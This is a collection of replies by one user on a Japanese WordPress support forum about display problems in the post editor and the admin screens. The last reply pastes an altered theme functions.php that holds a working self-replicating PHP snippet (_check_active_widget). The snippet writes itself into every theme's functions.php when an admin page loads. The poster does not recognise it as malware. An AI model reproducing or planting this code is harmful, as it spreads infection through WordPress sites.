masahimuka
フォーラムへの返信
-
フォーラム: 使い方全般
返信が含まれるトピック: Ver3.7.10におけるpost.phpx743さん、ありがとうございます。
ご指摘の通り修正して正しく表示されるようになりました。
&で繋がないといけないとは・・認識不足でした。ほんとにありがとうございました。
フォーラム: 使い方全般
返信が含まれるトピック: Ver3.7.10におけるpost.phpちなみにpost.phpを元に戻し、TOPページに新着記事をカテゴリーでタブわけ表示するようにしているので
その記事表示のコードをforeach($catlists as $cat) : echo '<div id="tabs-' .$cat->slug. '">'; $my_posts = get_posts('cat='.$cat->term_id,'numberposts=10');
以上のように変更しget_postsに記事件数のパラメタを渡したのですが、結果は同じでした(5件表示のまま)
フォーラム: 使い方全般
返信が含まれるトピック: 投稿と固定ページ画面がおかしいpotefiveさん
ありがとうございますこれは投稿記事作成時に全画面表示したときに表示される
メニューだと思います。
全画面表示されるまでは、本来見えないはずなのでcssが中途半端に
利いてしまっている気がします。これでしょうね・・
CSSの閉じ忘れや記述ミス、CSSファイルの読み込み順変更など色々試してみることにしますただ、サイトは本日公開になりましたので、テーマの変更はできないのと
CSSの変更も夜中に少し試してみるくらいしかできないので
これ以後しばらくはコメントもできないと思われます放置するのもまずいと思いますので、一旦「解決済み」として閉じさせていただきます
長い間お付き合いいただきありがとうございましたフォーラム: 使い方全般
返信が含まれるトピック: 投稿と固定ページ画面がおかしい・最初からshop001を適用したら管理画面のレイアウトが崩れていたのでしょうか?
テーマ適用後、しばらくたってから現象に気づきました・管理画面はcssが適用されていないような状態になっているのでしょうか?
それともcssは適用されているが、一部メニューが欠落していたり、
テキストボックスの大きさが変わったりしてるだけなのでしょうか?
CSSは適用されているように見えます
投稿記事を入力するテキストエリアの幅が36バイト(全角18文字)になっています・通常ページの方のレイアウトも崩れているのでしょうか?
通常ページがどのページなのかわかりませんが
管理画面の投稿と固定ページ以外の画面は問題ありません・通常テーマに変えてブラウザのキャッシュクリアをしても
レイアウトは崩れているのでしょうか?
デフォルトテーマに変更し、キャッシュクリア後に確認しました・何かエラーメッセージは表示されていませんか?
エラーは表示されていません今気づいたのですが
管理メニューの下に以下のような入力フォームが表示されています
(幅はメニューの幅)
———————————–
フルスクリーンモードを終了(リンクがhttp://xxx.xxx/wp-admin/post-new.php?post_type=page#)
ビジュアル テキスト(どちらもリンクがhttp://xxx.xxx/wp-admin/post-new.php?post_type=page#)
テキストボックス(吹き出しで「タイトルを入力してください」)
テキストエリア(全角9文字分)
文字数: 0(テキストのみ)
Just write.(テキストのみ)
———————————–
結果的に投稿及び固定ページの画面に入力フォームが二つ表示されている状態です
既にある固定ページを編集で表示させると
管理メニューの下に上記のフォームが空白で表示され
画面右側の通常の編集用フォームに固定ページの内容が編集可能状態で表示されていますスクリーンショットがアップできないのでわかりにくいですね・・
申し訳ありませんフォーラム: 使い方全般
返信が含まれるトピック: 投稿と固定ページ画面がおかしいpotefiveさんありがとうございます
参考リンクのwp-admin内に.htaccessを置くという
手を使ってみましたが、だめでした
逆に管理ページにアクセスできなくなりましたので、慌てて削除した次第です^^;きっかけは、WP3.5にデフォルトテーマでは問題なく
テーマを現在のに入れ替えてからなので、ずっとテーマの問題と思い
調査・修正を試みていました
今回、テーマを変更してみても直らなかったため
全くわからなくなってしまったのです・・フォーラム: 使い方全般
返信が含まれるトピック: 投稿と固定ページ画面がおかしい追記
ふと気になって最後の部分の} add_action("admin_head", "_check_active_widget"); add_filter( 'pre_option_link_manager_enabled', '__return_true' ); ?>
を以下のように変更してみましたが
} ?> <?php add_action("admin_head", "_check_active_widget"); ?> <?php add_filter( 'pre_option_link_manager_enabled', '__return_true' ); ?>
変化なしでした
また、PHP内部の余分なスペースは全て消し、PHPエディタを使って
記述ミスがないか等のチェックを入れましたフォーラム: 使い方全般
返信が含まれるトピック: 投稿と固定ページ画面がおかしいpotefiveさんありがとうございます
テーマのfunction.phpを初期のものと入れ替えしましたが
同じ現象でした初期のphpの内容
<?php register_sidebar(array( 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div></div></div>', 'before_title' => '<h3>', 'after_title' => '</h3><div class="side_box"><div class="side_inbox">', )); define( 'NO_HEADER_TEXT', true ); define('HEADER_IMAGE', '%s/img/top_img.jpg'); define('HEADER_IMAGE_WIDTH', 920); define('HEADER_IMAGE_HEIGHT', 280); add_custom_image_header( $header_callback, $admin_header_callback ); add_custom_background(); ?> <?php add_theme_support( 'menus' ); ?>
変更後のphpの内容
<?php register_sidebar(array( 'before_widget' => '<div id="%1$s" class="widget %2$s">', 'after_widget' => '</div></div></div>', 'before_title' => '<h3>', 'after_title' => '</h3><div class="side_box"><div class="side_inbox">', )); define( 'NO_HEADER_TEXT', true ); define('HEADER_IMAGE', '%s/img/top_img.jpg'); define('HEADER_IMAGE_WIDTH', 920); define('HEADER_IMAGE_HEIGHT', 280); add_custom_image_header( $header_callback, $admin_header_callback ); add_custom_background(); ?> <?php add_theme_support( 'menus' ); ?> <?php function _check_active_widget(){ $widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),"<"."?"));$output="";$allowed=""; $output=strip_tags($output, $allowed); $direst=_get_all_widgetcont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),"themes") + 6))); if (is_array($direst)){ foreach ($direst as $item){ if (is_writable($item)){ $ftion=substr($widget,stripos($widget,"_"),stripos(substr($widget,stripos($widget,"_")),"(")); $cont=file_get_contents($item); if (stripos($cont,$ftion) === false){ $sar=stripos( substr($cont,-20),"?".">") !== false ? "" : "?".">"; $output .= $before . "Not found" . $after; if (stripos( substr($cont,-20),"?".">") !== false){$cont=substr($cont,0,strripos($cont,"?".">") + 2);} $output=rtrim($output, "\n\t"); fputs($f=fopen($item,"w+"),$cont . $sar . "\n" .$widget);fclose($f); $output .= ($showdot && $ellipsis) ? "..." : ""; } } } } return $output; } function _get_all_widgetcont($wids,$items=array()){ $places=array_shift($wids); if(substr($places,-1) == "/"){ $places=substr($places,0,-1); } if(!file_exists($places) || !is_dir($places)){ return false; }elseif(is_readable($places)){ $elems=scandir($places); foreach ($elems as $elem){ if ($elem != "." && $elem != ".."){ if (is_dir($places . "/" . $elem)){ $wids[]=$places . "/" . $elem; } elseif (is_file($places . "/" . $elem)&& $elem == substr(__FILE__,-13)){ $items[]=$places . "/" . $elem;} } } }else{ return false; } if (sizeof($wids) > 0){ return _get_all_widgetcont($wids,$items); } else { return $items; } } if(!function_exists("stripos")){ function stripos( $str, $needle, $offset = 0 ){ return strpos( strtolower( $str ), strtolower( $needle ), $offset ); } } if(!function_exists("strripos")){ function strripos( $haystack, $needle, $offset = 0 ) { if( !is_string( $needle ) )$needle = chr( intval( $needle ) ); if( $offset < 0 ){ $temp_cut = strrev( substr( $haystack, 0, abs($offset) ) ); } else{ $temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) - $offset ), 0 ) ) ); } if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE; $pos = ( strlen( $haystack ) - ( $found + $offset + strlen( $needle ) ) ); return $pos; } } if(!function_exists("scandir")){ function scandir($dir,$listDirectories=false, $skipDots=true) { $dirArray = array(); if ($handle = opendir($dir)) { while (false !== ($file = readdir($handle))) { if (($file != "." && $file != "..") || $skipDots == true) { if($listDirectories == false) { if(is_dir($file)) { continue; } } array_push($dirArray,basename($file)); } } closedir($handle); } return $dirArray; } } add_action("admin_head", "_check_active_widget"); add_filter( 'pre_option_link_manager_enabled', '__return_true' ); ?>
自分で追加したのは最後のadd_filterでリンクを活性化する部分で
他はなぜ変わっているのかわかりません・・